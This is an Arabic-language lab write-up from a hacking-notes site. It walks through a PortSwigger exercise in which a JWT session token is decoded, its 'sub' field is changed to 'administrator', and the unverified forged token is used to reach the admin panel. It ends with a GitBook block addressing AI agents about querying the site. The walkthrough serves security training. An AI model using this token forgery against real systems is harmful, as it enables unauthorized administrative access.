> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-via-unverified-signature.md).

# تجاوز مصادقة JWT عبر توقيع غير مُتحقق منه

### تجاوز مصادقة JWT عبر توقيع غير مُتحقق منه

**خلفية المختبر**

يستخدم هذا المختبر **رموز ويب JSON (JWT)** لإدارة جلسات المستخدم. / بسبب خطأ حرج في التنفيذ، **لا يتحقق الخادم من توقيع JWT المستلم**.

**الهدف:**

* عدّل رمز الجلسة للوصول إلى `/admin` لوحة الإدارة
* حذف المستخدم **carlos**

**بيانات الاعتماد المقدَّمة:**

* `wiener : peter`

**الخطوة 1 – المصادقة واستعادة JWT**

بعد الاتصال بـ `wiener` المستخدم، يتم إنشاء ملف تعريف ارتباط للجلسة \*\*JWT\*\* بواسطة التطبيق.

للرمز البنية التقليدية:

* **الرأس**
* **الحمولة**
* **التوقيع**

{% code overflow="wrap" %}

```bash
eyJraWQiOiI0YTM5NDQ3My0yNmYxLTQxNzMtYjVlOC1hOGQ4NjQ5NmI5ZTEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUyNzk1Mywic3ViIjoid2llbmVyIn0.T4j1dohfmxoKYLu3Lc9cF03f0jHi1Td_PuIdhpR6jluSxY6UarYiUt0cPDkz6Wt9m0L0f5376ZdnkZvc4afoKcEvU89_cwobse5yU_aEdk4SYVVbuSLEQ-sPlbnIVY5nf17LlU-xxPJZaoii2L-BlGlulIL60j7Mjb9cRs6User-Agentu36YddU2DQkF2Ww2UcTftI6n8S5htcnM5iftGWYLhDkfKsp5RhgV58GCj3kyn92Pxo82DeuUeY-h0YRvOIijlROdSPvufMQiqYbBuUN__6Jb7ckUs7iXOTB6CwBnE-vQcIqQs549YdTOkWypmIQdmGWyUser-AgentbJaPZHOPJU-XLzHwIcg
```

{% endcode %}

<figure><img src="/files/c085331333c645ada72be7f99bec0820c64bbd64" alt=""><figcaption></figcaption></figure>

**الخطوة 2 – تحليل محتوى JWT**

من خلال فك ترميز JWT، نرى الحمولة التالية:

```json
{
  "iss": "portswigger",
  "exp": 1767531263,
  "sub": "wiener"
}
```

الـ `sub` يمثل هذا الحقل هوية المستخدم المُصادَق عليه.

<figure><img src="/files/e8f06222983e44c8236ae0a6253d93dc444e4f4d" alt=""><figcaption></figcaption></figure>

**الخطوة 3 – تغيير الحمولة**

بما أن الخادم **لا يتحقق من صحة التوقيع**، فمن الممكن تعديل محتويات الرمز بحرية.

قيمة `sub` تُستبدل:

```json
{
  "iss": "portswigger",
  "exp": 1767531263,
  "sub": "administrator"
}
```

ثم يتم **إعادة بناؤه** (بغض النظر عن التوقيع، لن يتم التحقق منه).

{% code overflow="wrap" %}

```bash
eyJraWQiOiJjNDllNjY5Mi1iMDZjLTQ0YjEtYmIwOC0zMjM4NmYxNzA2OGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTI2Mywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.ZpAuSIEN0Ptww1x0aCihPl520xrSpg8D5EWczPJ66pJZFUBq6X8TkSIYD-4-fY1Z9we38SmWLedBi-yF2w8b_XHeICnYPgTM3xrSrallVNukPQfVW-NaCNu_lozTEgBovijP6lMSyJWFXVwddlVh3ixT5_CZW7hK2jnpqcMdBv6RtXW-9nqlkoS_MF7XruVpKFJS8OB71B1juuh3M2c7YpEjCdMRHTW4FOsx8QOxV11udAyU03-JrIxug-SfwmLHLbMPNyUw6midaP_1AFT6s1vLu066AliuMz-HW1ADnWQea3JInM1EFMaY_9oKCZdJ_EyF5oxmdo5ZBl9xPq2Tcw
```

{% endcode %}

<figure><img src="/files/449ceae549d848ca72552c08825a304a75ab59c7" alt=""><figcaption></figcaption></figure>

**الخطوة 4 – استخدام JWT مزوّر**

يتم حقن الرمز الجديد في ملف تعريف ارتباط جلسة المتصفح.

النتيجة:

* يعتبر التطبيق المستخدم **administrator**
* الوصول إلى `/admin` مسموح

<figure><img src="/files/ef1fea2a594e848937edea66c5fc08acebf65b71" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-via-unverified-signature.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
